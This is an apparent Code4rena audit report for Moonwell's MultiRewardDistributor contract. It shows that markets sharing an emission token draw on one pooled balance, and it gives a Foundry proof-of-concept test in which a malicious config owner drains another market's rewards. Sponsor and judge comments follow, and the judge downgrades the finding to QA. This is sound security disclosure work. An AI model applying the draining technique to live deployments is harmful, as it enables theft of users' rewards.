same `emissionToken` on different markets can steal each others emissions

[code423n4]

Lines of code

https://github.com/code-423n4/2023-07-moonwell/blob/main/src/core/MultiRewardDistributor/MultiRewardDistributor.sol#L382-L464

Vulnerability details

Description

MultiRewardDistributor supports multiple rewards per market. Each of these are configured in _addEmissionConfig by the admin (governance through TemporalGovernor).

There there is a check that there isn't an already existing emissionConfig for the same emissionToken in the same market.

It is also mentioned in the contract documentation that there is a hard rule with only one emissionToken per market:

https://github.com/code-423n4/2023-07-moonwell/blob/main/src/core/MultiRewardDistributor/MultiRewardDistributor.sol#L33

File: MultiRewardDistributor/MultiRewardDistributor.sol

33:    There is a hard rule that each market should only have 1 config with a specific emission token.

It also mentions a risk with using native token as emissionToken (and incorrectly says its supported):

https://github.com/code-423n4/2023-07-moonwell/blob/main/src/core/MultiRewardDistributor/MultiRewardDistributor.sol#L28-L29

File: MultiRewardDistributor/MultiRewardDistributor.sol

28:    This emitter also supports native assets, but keep in mind that things get complicated with multiple
29:    owners managing a native asset emitter - one owner can drain the contract by increasing their own

The issue here is that this risk is not limited to just native token. This is a risk for any token. Since all balances in the MultiRewardDistributor are shared, it's just one big pool. If emissionConfigs in different markets share emissionToken they can steal from each others emissions.

Impact

If two markets share emissionToken, one market owner can increase their supply/borrowEmissionsPerSec to maximum and quickly deplete the other markets emissions.

This requires governance to approve the new emissionConfig for an already existing emissionToken, albeit in another market. It also requires the emission config owner to be malicious.

It is however only mentioned in documentation and guarded against in code that the same emission token cannot appear twice in the same market. It is however as shown very dangerous if it appears in any other market as well.

Proof of Concept

Test in MultiRewardDistributor.t.sol, MultiRewardSupplySideDistributorUnitTest:

    function testSameRewardTokenMultipleMarkets() public {
        uint256 startTime = 1678340000;
        vm.warp(startTime);

        // normal setup from `testSupplierHappyPath` where a project has a market and emissionToken
        MultiRewardDistributor distributor = createDistributorWithRoundValuesAndConfig(2e18, 0.5e18, 0.5e18);
        comptroller._setRewardDistributor(distributor);

        emissionToken.allocateTo(address(distributor), 10_000e18);

        // new project with a new market
        address malice = address(0x1111);

        FaucetTokenWithPermit token = new FaucetTokenWithPermit(0, "Testing2", 18, "TEST2");
        token.allocateTo(malice,1e18);
        MErc20Immutable mToken2 = new MErc20Immutable(
            address(token),
            comptroller,
            irModel,
            1e18, // Exchange rate is 1:1 for tests
            "Test mToken2",
            "mTEST2",
            8,
            payable(address(this))
        );
        comptroller._supportMarket(mToken2);
        oracle.setUnderlyingPrice(mToken2, 1e18);
        comptroller._setCollateralFactor(mToken2, 0.5e18);

        // but uses the same emissionToken
        distributor._addEmissionConfig(
            mToken2,
            malice,
            address(emissionToken),
            0.5e18, // normal values
            0.5e18,
            block.timestamp + 365 days
        );

        // and most notably does not transfer any emissionToken to distributor

        vm.warp(block.timestamp + 1);

        // user for first market mints
        mToken.mint(2e18);

        // second market mints and changes the supplySpeed to max
        vm.startPrank(malice);
        token.approve(address(mToken2),1e18);
        mToken2.mint(1e18);

        // alice changes supplySpeed to max
        distributor._updateSupplySpeed(mToken2,address(emissionToken),100e18-1);

        // a little bit of time passes
        vm.warp(block.timestamp + 100);

        // malicious emission config owner claims rewards
        comptroller.claimReward();
        vm.stopPrank();

        // which are almost everything
        assertEq(emissionToken.balanceOf(malice),10_000e18 - 100);

        // Wait 12345 seconds after depositing
        vm.warp(block.timestamp + 12245);

        // innocent user claims and gets nothing
        comptroller.claimReward();
        assertEq(emissionToken.balanceOf(address(this)), 0);
    }

Tools Used

Manual audit

Recommended Mitigation Steps

Consider in addition to not allowing the same emissionToken appearing twice in the same marketConfig also not allowing the same emissionToken to appear in different markets.

Or, have book keeping on which market has which amount of emissionToken so that one market cannot get another markets emissions.

Assessed type

Error

[c4-pre-sort]

0xSorryNotSorry marked the issue as primary issue

[ElliotFriedman]

True, but the reward stream owners are trusted members, so it is assumed they will not act maliciously

[lyoungblood]

This is working as designed:

• New emissionConfigs can only be added through governance. This mitigates the risk of a new EmissionAdmin being added to a new market with the same emission token as other markets.
• The design is intended to allow multiple markets to use the same emission token, similar to how COMP tokens are emitted on every market
• The emission admin does need to take care to not set emissions higher than the funded amount, or a deficit of tokens might occur that would prevent claiming rewards.
• It is intended that in practice, there will only be a single emission admin per token, and this will be enforced through governance, but we don't want to strictly enforce this at a contract level to add flexibility in the future, in case there was a need for splitting admin responsibilities.

[c4-sponsor]

ElliotFriedman marked the issue as disagree with severity

[ElliotFriedman]

this should be an informational finding

[c4-sponsor]

ElliotFriedman marked the issue as sponsor acknowledged

[c4-judge]

alcueca changed the severity to QA (Quality Assurance)

[c4-judge]

alcueca marked the issue as grade-a